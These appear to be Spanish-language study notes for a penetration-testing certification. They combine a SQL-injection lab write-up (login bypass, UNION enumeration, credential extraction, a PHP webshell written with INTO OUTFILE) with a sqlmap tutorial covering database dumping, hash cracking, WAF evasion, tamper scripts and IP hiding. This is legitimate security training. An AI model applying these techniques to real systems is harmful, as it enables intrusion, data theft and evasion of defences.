El unico campo que no podemos rellenar es el de codigo de verificacion. Nos dimos cuenta de que todas las entradas son verificadas desde la parte del cliente en el frontend ya que se validaban sin enviar ninguna peticion al webserver, es por esto que podemos modificar la consulta a traves de un proxy cuando sale del lado del cliente y antes de que llegue al webserver
Lo verificamos antes mirando el codigo fuente donde vemos en la seccion de scripts un JS para el register y si lo miramos encontramos la logica que verifica la entrada en el frontend
![[Pasted image 20260713145751.png]]
![[Pasted image 20260713145808.png]]
Entonces vamos a capturar la salida del registro poniendo el formato que nos piden en todos los campos para modificarlo antes de que llegue al webserver:
![[Pasted image 20260713145350.png]]
- Desde Burp lo mandamos al Repeater y modificamos el valor del parametro relacionado con el Codigo de verificacion y añadimos (’ OR ’1=1) ya que suponemos que la logica sera algo como (… AND CODIGO=‘XXXX’) lo que quedaria como (… AND CODIGO=‘XXXX’ OR ‘1=1’)
Como resultado vemos que la cuenta ha sido creada
![[Pasted image 20260713145919.png]]
- Nos registramos y entramos en una especie de gestor de chats. En cada chat podemos ver un parametro e=N donde N indica el usuario con el que hablamos o enviamos el mensaje. Tambien vemos un search y un send para enviar mensajes
![[Pasted image 20260713150001.png]]
![[Pasted image 20260713150032.png]]
Si le damos a search aparece un nuevo parametro en la URL q=CONSULTA_SEARCH que mira en su BBDD seguramente con la siguiente sintaxis (… WHERE USER=‘N’ AND SEARCH LIKE “%CONSULTA%” )
![[Pasted image 20260713150929.png]]
- Enviamos un mensaje a @admin y vemos que se crea una caja con texto (es probable que coja el contenido de la base de datos donde se almacenan los mensajes). Tras esto capturamos la consulta_search buscando HOLA para empezar a lanzar SQLi
![[Pasted image 20260713153510.png]]
- Tras varios intentos sin exito pense que podria tener parentesis y estar de esta forma (… WHERE (USER=‘N’ AND SEARCH LIKE ‘%CONSULTA%’) ) por lo que tratamos de de realizar el SQLi añadiendo ’) UNION…
TODAS LAS CONSULTAS ESTAN ENCODEADAS EN URL PORQUE VAN DENTRO DEL PARAMETRO DEL HTTP GET EN LA URL
- Primero averiguamos las columnas de la BBDD y vemos cual de ellas son visibles. Con ( ’) UNION SELECT 1,2, user(), 4 – -) vimos que hay 4 columnas y son visibles la 3 y 4
![[Pasted image 20260713153603.png]]
- Despues miramos las BBDD disponibles
![[Pasted image 20260713153913.png]]
- Miramos las tablas en la base de datos chattr
![[Pasted image 20260713154054.png]]
- Miramos las columnas de la tabla Users de la tabla chattr
![[Pasted image 20260713154204.png]]
- Por ultimo obtuvimos la credencial de admin (para verlo mejor pegar la URL en el navegador normal)
![[Pasted image 20260713154309.png]]
Cual es el root path de la webapp
- Primero miramos que usuario estabamos manejando
![[Pasted image 20260713154524.png]]
- Miramos si tenemos permiso FILE y si lo tenemos por lo que podemos leer
![[Pasted image 20260713155119.png]]
- Miramos el archivo de configuracion de Nginx ya que la ruta de Apache no sirvio por lo que se supuso que era Nginx
![[Pasted image 20260713155318.png]]
Lo miramos mejor en el navegador normal y encontramos la ruta donde se encuentran los sites-enabled
![[Pasted image 20260713160115.png]]
- Dentro de la ruta de sites-enabled buscamos default y ahi en root /var/www… esa es la ruta webroot
![[Pasted image 20260713160802.png]]
Consigue ejecucion remota de comandos y escribe el contenido de /flag_xxxx.txt
- Ya sabemos que tenemos permisos FILE pero tenemos que mirar si tenemos permisos SECURE_FILE_PRIV y vemos que esta vacio lo que significa que podemos escribir desde cualquier directorio
![[Pasted image 20260713155648.png]]
- Con INTO OUTFILE escribimos una webshell dentro del webroot en un archivo nuevo llamado web.php (usamos php porque vimos que implementaba php)
![[Pasted image 20260713160924.png]]
- Visitamos el web.php y añadiendo ?0=COMANDO encontramos la flag
![[Pasted image 20260713160953.png]]
![[Pasted image 20260713161008.png]]![[Pasted image 20260713161029.png]]![[Pasted image 20260713161051.png]]
CPTS
3. Explotacion WEB / 5. Sqlmap / 1. Introduccion
1. Introduccion Sqlmap
SQLMap: herramienta de python que automatiza el proceso de deteccion y explotacion de fallas de inyeccion SQLi
python sqlmap.py -u 'http://IP:PORT/DIRECTORIO?PARAMETRO=VALOR'
![[Pasted image 20260713204345.png]]
Instalacion
sudo apt install sqlmap -y
sqlmap -h
o
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
python sqlmap.py -h
BBDD soportadas
![[Pasted image 20260713204519.png]]
Tipos de inyeccion SQL
Para ver todos los tipos de SQLi que soporta usamos:
sqlmap -hh
![[Pasted image 20260713204617.png]]
- BEUSTQ se refiere a:
- B: basada en consultas a ciegas basadas booleanos
- E: basada en errores
- U: basada en consultas UNION
- S: basada en consultas apiladas
- T: basada en consultas a ciegas basadas en tiempo
- Q: basada en consultas en linea
Explicacion de cada tipo de inyeccion
Consultas a ciegas con Booleanos
Ejemplo:
![[Pasted image 20260713204924.png]]
SQLMap diferencia entre dos resultados VERDADERS = 1 y FALSOS = 0. Los datos reales los extrae debido a que un caracter = 1byte lo que da lugar a 7-8 peticiones por caracter. Compara las respuestas del servidor para determinar si la consulta devuelve TRUE o FALSE:
- VERDADEROS: generalmente no tienen o casi ninguna diferencia con la respuesta normal
- FALSE: tienen diferencias sustanciales con la respuesta del servidor
Basada en Errores
Ejemplo:
![[Pasted image 20260713210439.png]]
Si los errores en DBMS se devuelven como parte de la respuesta del webserver entonces existe probabilidad de que puedan ser usados para transportar los resultados de las consultas
Se usan payloads especializados para el DBMS dirigidas a las funciones que causan estos comportamientos anomalos. DBMSs para los que tiene payloads:
![[Pasted image 20260713210715.png]]
Basada en consultas UNION
Ejemplo:
![[Pasted image 20260713210735.png]]
Es posible extender la consulta original con los resultados de las sentencias inyectadas y obtener resultados adicionales a la consulta original
Consultas Apiladas
Ejemplo:
![[Pasted image 20260713210931.png]]
Apilar consultas SQL despues de la orginal. En caso de que se quieran usar sentencias como INSERT, UPDATE o DELETE, estas deben ser soportadas por el DBMS
SQLMap puede usar estas consultas para ejecutar sentencias que no son de consultas como ejecucion de comandos SO y para la recuperacion de datos de manera similar a SQLi basada a ciegas en tiempo
Inyeccion SQL ciega basada en tiempo
Ejemplo:
![[Pasted image 20260713211431.png]]
Es parecido a Inyección SQL Ciega Basada en Tiempo pero en este caso se usa el tiempo de respuesta para diferenciar entre TRUE y FALSE
- TRUE: diferencia notable en el tiempo de respuesta en comparacion con la respuesta normal
- FALSE: similar al tiempo de respuesta de la respuesta normal
Es mas lenta que Inyección SQL Ciega Basada en Tiempo y estos se usan cuando Inyección SQL Ciega Basada en Tiempo no es aplicable (ej. la sentencia SQL vulnerable no es una consulta sino un INSERT, UPDATE o DELETE ejecutada como parte de una funcionalidad que no da efecto sobre el renderizado de la pagina)
Consultas en linea
Ejemplo:
![[Pasted image 20260713211920.png]]
Incrusta una consulta dentro de la original. Es poco comun debido a las logicas que suelen tener los backends
Inyeccion SQL fuera de banda
Ejemplo:
![[Pasted image 20260713212036.png]]
Mas avanzado y se usa cuando los otros fallan o son muy lentos. Es atraves de exfiltracion por DNS donde las consultas solicitadas se recuperan a traves de trafico DNS
SQLMap puede hacer que el servidor solicite subdominios inexistentes como (foo.example.com) donde foo seria la respuesta SQL que queremos recibir. SQLMap recoge estas peticiones y recoge la parte de foo de las peticiones para formar la respuesta correcta
CPTS
3. Explotacion WEB / 5. Sqlmap / 1. Introduccion
2. Primeros Pasos Con Sqlmap
sqlmap -h
![[Pasted image 20260713214735.png]]
![[Pasted image 20260713214803.png]]
Escenario basico
Una pagina web en la que hay una entrada de usuario que recoge esta entrada bajo un parametro GET
Ejemplo PHP backend:
![[Pasted image 20260713214937.png]]
En esta los errores SQL se devuelven como parte de la respuesta del web lo que facilita la SQLi
![[Pasted image 20260713215106.png]]
- Ejecutamos SQLMap contra el sitio web pasando la URL con el parametro HTTP GET:
sqlmap -u "http://SITIOWEB/PAGINA?PARAMETRO=VALOR" --batch
-u URL: proporcionar la URL
–batch: omitir cualquier entrada requerida por usuario eligiendo siempre la opcion por defecto
![[Pasted image 20260713215318.png]]
CPTS
3. Explotacion WEB / 5. Sqlmap / 1. Introduccion
3. Descripcion De Los Resultados Sqlmap
![[Pasted image 20260713215412.png]]![[Pasted image 20260713215423.png]]
Descripcion de los mensajes de log
El contenido de la URL es estable
target URL content is stable
Significa que no hay cambios importantes entre respuestas en caso de solicitudes identicas. Las respuestas estables facilitan detectar diferencias causadas por los intentos de SQLi
El parametro parece dinamico
GET parameter 'id' appears to be dynamic
Es deseable que sea dinamico ya que es señal de que cualquier cambio en su valor resultara en un cambio de respuesta y puede indicar que esta vinculado a una BBDD
Si es estatico podria ser que el valor del parametro no es procesado en el objetivo
El parametro podria ser inyectable
heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
En este caso MySQL genero un error que fue visible en la salida de la pagina web al usar ?id=1",)..).))' lo que puede indicar que el parametro probado puede ser vulnerable a una inyeccion SQLi y que el objetivo podria ser MySQL
El parametro podria ser vulnerable a ataques XSS
heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
Aunque no es el objetivo de SQLMap tambien hace una prueba rapida de XSS
El DBMS de backend es …
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? Y/n
SQLMap prueba todos los DMBS compatibles y en caso de coincidencia podemos limitar los payloads solo al DBMS especifico
Valores de nivel/riesgo
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? Y/n
Si se detecta un DBMS se pueden especificar el uso de todos payloads para ese objetivo incluyendo mas avanzados. Si no se detecta solo se usan los principales
Se encontraron valores reflectantes
reflective value(s) found and filtering out
Es una advertencia que indica que parte de los payloads usados se muestran como respuesta lo que puede suponer problemas ya que representa basura, aunque SQLMap tiene mecanismos de limpieza de esa basura antes de comparar el contenido
El parametro parece ser inyectable
GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="luther")
Esto indica que el parametro puede ser vulnerable a SQLi aunque aun puede ser un FP.
- En SQL a ciegas basados en booleanos y tipos similares como basados en tiempo suele a ver muchos FP
SQLMap muestra (with –string=“luther”) lo que indica que uso la cadena de texto luther en la respuesta para distinguir entre TRUE o FALSE
Modelo estadistico de comparacion basada en tiempo
time-based comparison requires a larger statistical model, please wait........... (done)
SQLMap usa un modelo estadistico para el reconocimiento de respuestas regulares y retrasadas en el equipo. Para que funcione hay que recopilar un numero duficiente de tiempos de respuesta irregulares para distinguir estadisticamente el retraso
Ampliando las pruebas de la tecnica de inyeccion de consultas UNION
automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
Las consultas UNION requieren de mas solicitudes para el reconocimiento exitoso de un payload utilizable para SQLi
Para reducir este tiempo se limita el numero de consultas a 10 para este tipo de comprobacion aunque si parece ser vulnerable (ej. se encuentra otra vuln SQLi de otro tipo) SQLMap amplia el numero predeterminado de solicitudes
La tecnica parece ser utilizable
ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
Antes de lanzar las consultas UNION realiza consultas ORDER BY para conocer las columnas de la tabla requerido para las consultas UNION
El parametro es vulnerable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? y/N
Significa que ha encontrado que el parametro es vulnerable a SQLi. Aun asi podriamos continuar buscando si es vulnerable a mas tipos
SQLMap identifico los puntos de inyeccion
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
Se muestra una lista de los puntos de inyeccion con su tipo, titulo y payloads lo que demuestra la prueba final de la deteccion y explotacion de SQLi
Solo se muestra los que son demostrablemente explotables
Datos de registrados en archivos de texto
fetched data logged to text files under '/home/user/.sqlmap/output/[www.example.com](http://www.example.com/)
Unicacion en el sistema de archivos local donde se almacenan los logs, sesiones y datos de salida del objetivo y se guardan para futuras operaciones sobre este
CPTS
3. Explotacion WEB / 5. Sqlmap / 2. Construyendo Ataques
1. Ejecutar Sqlmap Sobre Una Peticion HTTP
Comandos CURL
Una de las mas faciles
- En la pagina web > Inspeccionar > Network > Solicitud HTTP > Click derecho > Copy > Copy as Curl
![[Pasted image 20260713223603.png]]
- Pegamos en portapapeles y cambiamos curl > sqlmap
![[Pasted image 20260713223657.png]]
Debe haber un valor de parametro que pueda ser evaluado o usar las flags para busqueda automatica de parametros como:
Peticiones GET/POST
Se realiza el escaneo en ambos parametros:
sqlmap -u URL/PAGINA?PARAMETRO1=VALOR&PARAMETRO2=VALOR
![[Pasted image 20260713223948.png]]
En caso de que queramos solo hacer el escaneo a uno de ellos ponemos * o con -p:
sqlmap -u URL/PAGINA?PARAMETRO1=VALOR*&PARAMETRO2=VALOR
sqlmap -u URL/PAGINA?PARAMETRO1=VALOR&PARAMETRO2=VALOR -p PARAMETRO1
Se realiza el escaneo en ambos parametros:
sqlmap URL --data 'PARAMETRO1=VALOR&PARAMETRO2=VALOR'
En caso de que queramos solo hacer el escaneo a uno de ellos ponemos * o con -p:
sqlmap URL --data 'PARAMETRO1=VALO*R&PARAMETRO2=VALOR'
sqlmap URL --data 'PARAMETRO1=VALOR&PARAMETRO2=VALOR' -p PARAMETRO1
![[Pasted image 20260713224507.png]]
Peticiones HTTP completas
En caso de tener solicitudes HTTP complejas como:
- Muchos parametros GET
- Un cuerpo POST grande
Podemos usar -r ARCHIVO para pasarle un archivo con la peticion HTTP
Si hay varios parametros y queremos probar solo los que decidamos, usamos * --> (PARAMETRO=*)
- Capturamos la peticion en Burp Suite
![[Pasted image 20260713224724.png]]
- Varias formas:
- Pegamos toda la peticion que hemos captura de burp en un archivo
- En burp le damos click derecho > Copy to File
- En la pagina web > Inspeccionar > Network > Click derecho sobre la peticion > Copy > Copy Request Headers > pegamos en un archivo
![[Pasted image 20260713224741.png]]
- Ejecutamos sqlmap
sqlmap -r ARCHIVO.txt
![[Pasted image 20260713224958.png]]
Peticiones SQLMap personalizadas
Si quisieramos crearlas manualmente podemos usar diferentes flags:
- Ejemplo especificando el valor de una cookie de sesion:
sqlmap ... --cookie='COOKIE=cookie'
o
sqlmap ... -H='COOKIE=cookie'
–host
–referer
-A o –user-agent
–random-agent: selecciona un UserAgent aleatorio para evitar que salga sqlmap y salga GoogleChrome por ejemplo
–mobile: imitar un telefono
Se pueden apuntar a cabeceras de HTTP
Esto no es normal pero se puede hacer con * :
sqlmap -u URL --data='PARAMETRO=VALOR' --cookie="PARAMETRO=VALOR*"
Especificar otro metodo alternativo
sqlmap -u URL --data='PARAMETRO=VALOR' --method (PUT,DELETE,UPDATE...)
Peticiones HTTP Personalizadas
Aparte de con datos POST en formato form-data (id=1) tambien acepta en formatos JSON ({“id”:1}) o XML (<element><id>1</id></element>)
Esto se pondra en el –data del comando:
sqlmap -u URL --data='PARAMETRO=VALOR'
sqlmap -u URL --data='{"PARAMETRO":VALOR}'
sqlmap -u URL --data='\<element>\<PARAMETRO>VALOR\</id>\</element>'
O podemos usar la opcion -r:
![[Pasted image 20260713230620.png]]![[Pasted image 20260713230627.png]]
Ejemplo practico
![[Pasted image 20260713231805.png]]
- Contenido de tabla flag2 en Case2
-
Le damos a sumbit y creamos lo que parece ser un usuario que tendra el ID 1
![[Pasted image 20260713231845.png]]![[Pasted image 20260713231857.png]]
-
Para ver bien la peticion POST que estamos haciendo iniciamos Burp e interceptamos la peticion reiniciando la pagina y dando a resend
![[Pasted image 20260713231952.png]]![[Pasted image 20260713231959.png]]![[Pasted image 20260713232009.png]]
Aqui podemos ver el parametro id=1
![[Pasted image 20260713232018.png]]
- Realizamos un escaneo sqlmap usando –data “PARAMETRO=VALOR” y la salida muestra que es vulnerable
![[Pasted image 20260713232109.png]]![[Pasted image 20260713232148.png]]
- Volvamos las BBDD y vemos que hay 2
![[Pasted image 20260713232521.png]]![[Pasted image 20260713232532.png]]
- Miramos las tablas dentro del BBDD de testdb
![[Pasted image 20260713232649.png]]
![[Pasted image 20260713232715.png]]
- Dumpeamos su contenido y se puede hacer de dos formas
- Por columnas para no mostrar todas
![[Pasted image 20260713232807.png]]![[Pasted image 20260713232820.png]]
![[Pasted image 20260713232926.png]]
![[Pasted image 20260713232946.png]]![[Pasted image 20260713232953.png]]
CPTS
3. Explotacion WEB / 5. Sqlmap / 2. Construyendo Ataques
2. Manejo De Errores
Podemos encontrar errores al usar SQLMap con peticiones HTTP
Mostrar errores
Usar modificador –parse-errors para analizar los errores DBMS
![[Pasted image 20260714110100.png]]
Almacenar el trafico
-t ARCHIVO: almacena el contenido del trafico en un archivo que contendra todas las peticiones HTTP realizadas
![[Pasted image 20260714110220.png]]
Salida detallada
-v [1-6]: aumenta el nivel de verbosidad
![[Pasted image 20260714110309.png]]
Usar un proxy
–proxy=“http://localhost:8080” –> para usar Burp
![[Pasted image 20260714110444.png]]
CPTS
3. Explotacion WEB / 5. Sqlmap / 2. Construyendo Ataques
3. Ajuste De Ataques
En general no haran falta pero hay flags y opciones que ayudan en la fase de la deteccion
Cada payload enviado tiene dos partes:
- vector (UNION ALL SELECT 1,2,VERSION()): parte central del payload que lleva el codigo SQL
- delimitadores o boundaries (’<vector>– -): prefijos y sufijos usados para la inyeccion correcta de la sentencia
Prefijo/Sufijo
En casos en los que la ejecucion normal de la herramienta no cubra algunos casos, podemos especificarlos
sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"
Esto pondra lo siguiente:
%')) <vector> -- -
![[Pasted image 20260714111127.png]]![[Pasted image 20260714111133.png]]
Nivel/Riesgo
–level [1-5]: amplia vectores y delimitadores que se usan en funcion de la expectativa de exito (default=1)
–risk [1-3]: amplia el conjunto de vectores usados en funcion del riesgo que pueden causar (default=1)
Junto con -v 3 mostraran los payloads usados
![[Pasted image 20260714112117.png]]![[Pasted image 20260714112216.png]]
Ajuste avanzado
Codigos de estado
Cuando se trata de un objetivo muy grande con mucho contenido dinamico donde las respuestas entre TRUE y FALSE son minimas podemos usar los codigos de estado
–code=200: fijar las respuestas TRUE
Titulos
Si la diferencia puede observarse con los titulos de la pagina HTTP
–titles: mirara la etiqueta HTML <title>
Cadenas de texto
Omite la comparacion de etiquetas como <script>, <style>, <meta> y solo compara el contenido textual
–text-only
Tecnicas
Para especificar el tipo de payload que se usa
–technique=BEU –> Boolean-based blind, error-based y UNION-query
Ajuste de ineyccion SQL UNION
Si encontramos informacion de forma manual que necesita la consulta UNION como el numero de columnas lo podemos especificar
–union-cols=N –> Los valores de relleno por defecto se rellenan con NULL
–union-char=‘a’ –> especificamos que el valor de relleno sera una caracter a
–union-from=TABLA –> añadir
Ejemplo practico
Contenido de la flag 5 en Case 5
- Visitamos el sitio web y capturamos la solicitud HTTP al dar click here con Burp
![[Pasted image 20260714115306.png]]
![[Pasted image 20260714115316.png]]
![[Pasted image 20260714115404.png]]
![[Pasted image 20260714115423.png]]
![[Pasted image 20260714115444.png]]
![[Pasted image 20260714115555.png]]
-
Primero probamos con level al maximo pero no da resultados
![[Pasted image 20260714115652.png]]
-
Copiamos la peticion HTTP GET en un archivo y usamos level y risk al maximo. Vemos que es vulnerable
![[Pasted image 20260714121717.png]]
![[Pasted image 20260714121810.png]]
- Vamos consiguiendo BBDD, tablas y dumpeamos la tabla que contiene la flag
![[Pasted image 20260714121830.png]]
![[Pasted image 20260714121844.png]]
![[Pasted image 20260714121906.png]]
![[Pasted image 20260714121916.png]]
![[Pasted image 20260714121935.png]]
![[Pasted image 20260714121954.png]]
Contenido de la flag 6 en Case 6
- Nos conectamos al sitio web y activamos Burp. Le damos click en click here y capturamos la peticion HTTP GET
![[Pasted image 20260714122153.png]]
![[Pasted image 20260714122226.png]]
![[Pasted image 20260714122237.png]]
![[Pasted image 20260714122327.png]]
- Nos dan la pista de que no tiene delimitadores normales. Vamos probamos y encontramos que el delimitador era: ‘`)’
![[Pasted image 20260714122536.png]]
![[Pasted image 20260714123032.png]]
![[Pasted image 20260714123049.png]]
![[Pasted image 20260714123008.png]]
Exito:
![[Pasted image 20260714130105.png]]
- Obtenemos las BBDD, tablas y dumpeamos la que contiene la flag
![[Pasted image 20260714130215.png]]
![[Pasted image 20260714130225.png]]
![[Pasted image 20260714130235.png]]
![[Pasted image 20260714130248.png]]
![[Pasted image 20260714130302.png]]
![[Pasted image 20260714130314.png]]
Contenido de la flag 7 en Case 7
- Visitamos el sitio web, activamos el burp y le damos click en click here para interceptar la peticion HTTP GET
![[Pasted image 20260714130457.png]]![[Pasted image 20260714130504.png]]![[Pasted image 20260714130520.png]]![[Pasted image 20260714130530.png]]![[Pasted image 20260714130553.png]]![[Pasted image 20260714130832.png]]
- Nos dice que es vulnerable a consultas UNION por lo que especificamos el uso de UNION y le especificamos las columnas ya que son 5
![[Pasted image 20260714130909.png]]
- Obtenemos BBDD, tablas y dumpeamos la que contiene la flag
![[Pasted image 20260714130946.png]]![[Pasted image 20260714130955.png]]
![[Pasted image 20260714131017.png]]![[Pasted image 20260714131027.png]]
![[Pasted image 20260714131036.png]]![[Pasted image 20260714131046.png]]
CPTS
3. Explotacion WEB / 5. Sqlmap / 3. Enumeracion De La Bbdd
1. Enumeracion De Bbdd
–banner: recuperar el banner
–current-user: recuperar el usuario acutal
Enuemracion basica de la BBDD
–hostname
–current-db: nombre BBDD actual
–passwords: hashes de contraseñas
–is-dba: comprobar si el usuario tiene derechos de admin
![[Pasted image 20260714131841.png]]![[Pasted image 20260714131918.png]]
![[Pasted image 20260714131927.png]]
![[Pasted image 20260714131945.png]]
Enumeracion de BBDD
sqlmap -u URL --dbs
Enumeracion de tablas
sqlmap -u URL -D BBDD --tables
![[Pasted image 20260714132035.png]]
Dumpeo de tablas
sqlmap -u URL -D BBDD -T TABLA --dump
![[Pasted image 20260714132111.png]]
La salida se vuelca en un cvs que podemos ver mas adelante
![[Pasted image 20260714132142.png]]
Enumeracion de tablas y filas
sqlmap -u URL -D BBDD -T TABLA --columns
sqlmap -u URL -D BBDD -T TABLA -C COLUMNA1,COLUMNA2 --dump
![[Pasted image 20260714132235.png]]
sqlmap -u URL -D BBDD -T TABLA -0start=2 --stop=3 --dump
![[Pasted image 20260714132307.png]]
Enumeracion condicional
sqlmap -u URL -D BBDD -T TABLA --dump --where="COLUMNA1 LIKE 'PATRON'"
![[Pasted image 20260714132415.png]]
Enumeracion completa de la BBDD
Solo –dump –> dumpeara la BBDD actual
Solo –dump-all –> se dumpeara todas las BBDD
–exclude-sysdb: excluye informacion de la BBDD del sistema y nos quitamos ruido
Ejemplo practico
Consigue la flag1 del Case1
- Visitamos el sitio web, activamos burp, le damos a click en click here y capturamos la peticion HTTP GET
![[Pasted image 20260714132912.png]]![[Pasted image 20260714132920.png]]![[Pasted image 20260714132929.png]]![[Pasted image 20260714132936.png]]![[Pasted image 20260714132941.png]]
- Usamos sqlmap para obtener BBDD, Tablas y dumpear la que tiene la flag
![[Pasted image 20260714133050.png]]![[Pasted image 20260714133101.png]]![[Pasted image 20260714133121.png]]![[Pasted image 20260714133128.png]]![[Pasted image 20260714133146.png]]![[Pasted image 20260714133157.png]]
CPTS
3. Explotacion WEB / 5. Sqlmap / 3. Enumeracion De La Bbdd
2. Enumeracion Avanzada De Bbdd
Enumeracion del esquema de la BBDD
Si queremos recuperar la estructura de todas las tablas para tener una vision completa usamos –shcema
sqlmap -u URL --schema
![[Pasted image 20260714134009.png]]
![[Pasted image 20260714134024.png]]
Busqueda de datos
Con –seach podemos buscar por nombres
sqlmap -u URL --seach -T 'ALGO'
![[Pasted image 20260714134203.png]]
sqlmap -u URL --search -C 'ALGO'
![[Pasted image 20260714134240.png]]
Enumeracion y cracking de contraseñas
Una vez que encontramos la tabla que contiene las contraseñas la podemos recuperar como vimos antes
sqlmap -u URL -D BBDD -T TABLA --dump
Con esto si encuentra hashes intentara crackearlos
![[Pasted image 20260714134737.png]]
![[Pasted image 20260714134748.png]]![[Pasted image 20260714134755.png]]
Enumeracion y cracking de contraseñas de usuarios de la BBDD
Ademas de las credenciales que se encuentran en tablas de BBDD podemos volvar el contenido de las tablas del propio sistema que contienen credenciales de la BBDD con –passwords (ej. Credenciales de conexion)
sqlmap -u URL --passwords --batch
![[Pasted image 20260714134954.png]]![[Pasted image 20260714135004.png]]
Ejemplo practico
Cual es el nombre de la columna que contiene “style” en el Case1
- Ejecutamos una busqueda por columnas. La busqueda usa LIKE por lo que solo ponemos “style”
![[Pasted image 20260714135208.png]]![[Pasted image 20260714135217.png]]
Cual es la contraseña del usuario Kimberly en Case1
- Usaremos la tabla Users
![[Pasted image 20260714135521.png]]![[Pasted image 20260714135528.png]]
- Al dumpearla vemos que crackea las contraseñas y nos da las salidas
![[Pasted image 20260714135548.png]]![[Pasted image 20260714135625.png]]![[Pasted image 20260714135638.png]]
- Como son muchas filtramos por Kimberly
![[Pasted image 20260714135728.png]]![[Pasted image 20260714135738.png]]
CPTS
3. Explotacion WEB / 5. Sqlmap / 4. Uso De Sqlmap Avanzado
1. Evasion De Las Protecciones De Aplicaciones WEB
Evasion de Tokens Anti-CSRF
Tokens anti falsificacion de peticiones en sitios cruzados o Cross-Site Request Forgery
Esto lo que hace es que cada peticion HTTP obtiene un token que se da solo si el usuario realmente visito y uso la pagina
–csrf-token: SQLMap intentara automaticamente analizar el contenido de la respuesta del objetivo y buscar valores de token nuevos para poder usarlos en la siguiente peticion. El token se proporciona en la peticion HTTP
Como esta presente en la solicitud HTTP, si SQLMap detecta un campo llamado (csfr, xsfr, token…) nos preguntara en linea de comandos si queremos actualizar el token para futuras peticiones
sqlmap -u URL --data="PARAMETRO=VALOR&TOKEN=VALOR" --csrf-token="csrf-token"
![[Pasted image 20260714145031.png]]
Evasion por valor unico
Hay veces que la pagina web pide que la peticion tenga un valor unico. Es parecido a anti-csfr excepto que no es necesario analizar el contenido de la pagina web, solo asegurar que cada peticion tenga un valor unico para el parametro definido
–randomize
sqlmap -u URL --randomize=PARAMETRO --batch
![[Pasted image 20260714145403.png]]
Evasion por parametro calculado
La pagina web espera un valor para un parametro que se calcula basandose en otros valores. Lo mas frecuente es que tenga que contener el message digest –> h=MD5(PARAMETROX)
–eval
sqlmap -u "URL?PARAMETRO1=VALOR&PARAMETRO2=HASH" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch
![[Pasted image 20260714145715.png]]
Ocultacion de la direccion IP
2 opciones:
–proxy=“socks4://IP:PUERTO”
–proxy-file=/RUTA
- Añadir un TOR
–tor=URL
–check-tor: para comprobar de que se esta ejecutando correctamente
Evasion WAF
Cuando se ejecuta SQLMap primero envia un payload malicioso con un parametro inexistente para determinar la existencia de WAF (ej. ?pfov=…)
Si hay proteccion la respuesta sera diferente como que devuelva 406-Not Acceptable
Usara la biblioteca identYwaf para ejecutar 80 soluciones WAF diferentes
Para omitir esto –> –skip-waf
Evasion de listas negras de User-Agent
Cuando usamos SQLMap el UserAgent es (User-agent: sqlmap/1.4.9 (http://sqlmap.org))
–random-agent: cambia el useragent a un valor al azar de los navegadores registrados una BBDD de SQLMap
Scripts de manipulacion
Para evadir soluciones WAF/IPS. Estos estan escritos en Python para modificar peticiones justo antes de que sean enviadas al objetivo
Ejemplo: script que cambia > por NOT BETWEEN 0 AND X o = por BETWEEN X AND X
Estos se pueden encadenar uno tras otro en el flag --tamper. Lista completa --list-tampers
sqlmap -u URL --tamper=script1,script2...
![[Pasted image 20260714150827.png]]![[Pasted image 20260714150838.png]]
Evasiones varias
- Codificacion de transferencia fragmentada (Chunked transfer encoding):
--chunked:
Divide el cuerpo de la peticion POST en los llamados “chunks”. Las palabras SQL de lista negras se dividen en chunks para que pasen desapercibidas
- Contaminacion de parametros HTTP (HTTP Parameter Pollution o HPP): el payload se divide de forma similar que en chuncked pero entre diferentes valores de la URL
Ejemplo practico
Obtener la flag8 del Case8
- Visitamos el sitio web, activamos burp, le damos sumbit y obtenemos la solicitud HTTP GET
![[Pasted image 20260714233218.png]]![[Pasted image 20260714233227.png]]![[Pasted image 20260714233238.png]]![[Pasted image 20260714233244.png]]
![[Pasted image 20260714233258.png]]
- Usamos SQLMap con la solicitud y especificando el nombre del parametro TOKEN a la flag –csfr-token
![[Pasted image 20260714233423.png]]
- Enumeramos BBDD, tablas y obtenemos la flag
![[Pasted image 20260714233507.png]]![[Pasted image 20260714233516.png]]![[Pasted image 20260714233537.png]]![[Pasted image 20260714233545.png]]![[Pasted image 20260714233615.png]]![[Pasted image 20260714233626.png]]
Obtener la flag9 del Case9
- Visitamos el sitio web, activamos burp, le damos sumbit y obtenemos la solicitud HTTP GET
![[Pasted image 20260714233831.png]]![[Pasted image 20260714233841.png]]![[Pasted image 20260714233849.png]]![[Pasted image 20260714233855.png]]![[Pasted image 20260714233904.png]]
- Usamos la solicitud HTTP con SQLMap y especificamos el uid debe ser unico y aleatorio
![[Pasted image 20260714234113.png]]
- Enumeramos BBDD, tablas y obtenemos la flag
![[Pasted image 20260714234145.png]]![[Pasted image 20260714234150.png]]![[Pasted image 20260714234206.png]]![[Pasted image 20260714234214.png]]![[Pasted image 20260714234235.png]]![[Pasted image 20260714234243.png]]
Obtener la flag10 del Case10
- Visitamos el sitio web, activamos burp, le damos sumbit y obtenemos la solicitud HTTP GET
![[Pasted image 20260714234326.png]]![[Pasted image 20260714234335.png]]![[Pasted image 20260714234344.png]]![[Pasted image 20260714234352.png]]![[Pasted image 20260714234403.png]]
- Usamos la solicitud HTTP con SQLMap y especificamos que el parametro PHPSESSID es el hash del id
![[Pasted image 20260714235046.png]]
![[Pasted image 20260714235058.png]]
- Enumeramos BBDD, tablas y obtenemos la flag
![[Pasted image 20260714235112.png]]![[Pasted image 20260714235120.png]]
![[Pasted image 20260714235136.png]]![[Pasted image 20260714235144.png]]
![[Pasted image 20260714235207.png]]![[Pasted image 20260714235224.png]]
Obtener la flag11 del Case11
- Visitamos el sitio web, activamos burp, le damos sumbit y obtenemos la solicitud HTTP GET
![[Pasted image 20260714235323.png]]
![[Pasted image 20260714235331.png]]
